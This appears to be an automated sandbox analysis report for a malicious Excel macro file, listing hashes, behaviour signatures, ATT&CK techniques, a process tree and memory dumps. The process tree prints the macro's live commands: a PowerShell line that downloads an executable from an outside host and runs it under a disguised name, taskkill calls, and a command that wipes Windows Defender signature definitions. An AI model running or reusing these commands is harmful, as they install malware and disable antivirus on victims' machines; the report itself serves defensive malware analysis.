ffc9eca5a1e84b5ebe2d3f7124efbd48d96d24686b429f09743359370f915760

General

Target

e1add0c2917aaf34236db315da09d8f2_JaffaCakes118.xlsm
Size

19KB
MD5

e1add0c2917aaf34236db315da09d8f2
SHA1

3460271d345cc4ba4ab112c5abe04e40e483145e
SHA256

ffc9eca5a1e84b5ebe2d3f7124efbd48d96d24686b429f09743359370f915760
SHA512

e041cf1b0c4aeb491488b027d08ea5c2febd640ce08166f5610e9baf783b2eacf39bd23591c3325255e67d548acca49ba72aeff9f0afcaa0505331f8ce252ecc
SSDEEP

384:+2QdQ5yunO0qEF6C4zfusWGCVXToqIJPXaxq5:+U5D6EFTcKdKMc

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://panelonetwothree.ga/work/6.exe

Signatures

Process spawned unexpected child process 4 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3696	4144	powershell.exe	84
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4912	4144	powershell.exe	84
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4516	4144	cmd.exe	84
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3156	4144	cmd.exe	84

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3696	powershell.exe
3696	powershell.exe
4912	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Kills process with taskkill 2 IoCs

evasion

pid	Process
4652	taskkill.exe
4340	taskkill.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4144	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3696	powershell.exe
3696	powershell.exe
4912	powershell.exe
4912	powershell.exe
4912	powershell.exe
3696	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4652	taskkill.exe
Token: SeDebugPrivilege	3696	powershell.exe
Token: SeDebugPrivilege	4912	powershell.exe
Token: SeDebugPrivilege	4340	taskkill.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4144	EXCEL.EXE
4144	EXCEL.EXE
4144	EXCEL.EXE
4144	EXCEL.EXE
4144	EXCEL.EXE
4144	EXCEL.EXE
4144	EXCEL.EXE
4144	EXCEL.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4144 wrote to memory of 3696	4144	EXCEL.EXE	88
PID 4144 wrote to memory of 3696	4144	EXCEL.EXE	88
PID 4144 wrote to memory of 4516	4144	EXCEL.EXE	90
PID 4144 wrote to memory of 4516	4144	EXCEL.EXE	90
PID 4144 wrote to memory of 4912	4144	EXCEL.EXE	92
PID 4144 wrote to memory of 4912	4144	EXCEL.EXE	92
PID 4144 wrote to memory of 3156	4144	EXCEL.EXE	95
PID 4144 wrote to memory of 3156	4144	EXCEL.EXE	95
PID 4516 wrote to memory of 4652	4516	cmd.exe	97
PID 4516 wrote to memory of 4652	4516	cmd.exe	97
PID 4912 wrote to memory of 4340	4912	powershell.exe	99
PID 4912 wrote to memory of 4340	4912	powershell.exe	99

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e1add0c2917aaf34236db315da09d8f2_JaffaCakes118.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (New-Object System.Net.WebClient).DownloadFile('http://panelonetwothree.ga/work/6.exe','C:\Users\Public\svchost32.exe');Start-Process 'C:\Users\Public\svchost32.exe'
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /f /im winword.exe & exit
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4516
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im winword.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden taskkill /f /im Excel.exe
  2⤵
  - Process spawned unexpected child process
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /f /im Excel.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cd "C:\Program Files\Windows Defender" & MpCmdRun.exe -removedefinitions -dynamicsignatures & exit
  2⤵
  - Process spawned unexpected child process
  PID:3156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e42bec1f8f4c3705f1df36c21c85531

SHA1
c9d6aac3c1b16ed12f22185ebdc9f921cd396d14

SHA256
f3a91001711172cac5380d0409a531f64a8f85666188abb1e4fd0af070ddb9e2

SHA512
d8b5b5ad81d6d447a3e1994e3ffb8c75f91452599737bc40b5c0b11668300654b938e92f87718c3f01a70cad26b54f697eb6f70fe95c2dd2357ccd4b8bd24aa6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dfzyiezp.nr5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3696-49-0x000001DC37330000-0x000001DC37352000-memory.dmp

Filesize
136KB

Download
memory/4144-11-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-19-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-7-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-8-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-9-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-10-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-13-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-12-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

Filesize
64KB

Download
memory/4144-14-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-15-0x00007FFE2C2C0000-0x00007FFE2C2D0000-memory.dmp

Filesize
64KB

Download
memory/4144-1-0x00007FFE6E86D000-0x00007FFE6E86E000-memory.dmp

Filesize
4KB

Download
memory/4144-18-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-20-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-6-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-17-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-16-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-5-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/4144-38-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-40-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-39-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-4-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/4144-3-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/4144-63-0x00007FFE6E7D0000-0x00007FFE6E9C5000-memory.dmp

Filesize
2.0MB

Download
memory/4144-2-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download
memory/4144-0-0x00007FFE2E850000-0x00007FFE2E860000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads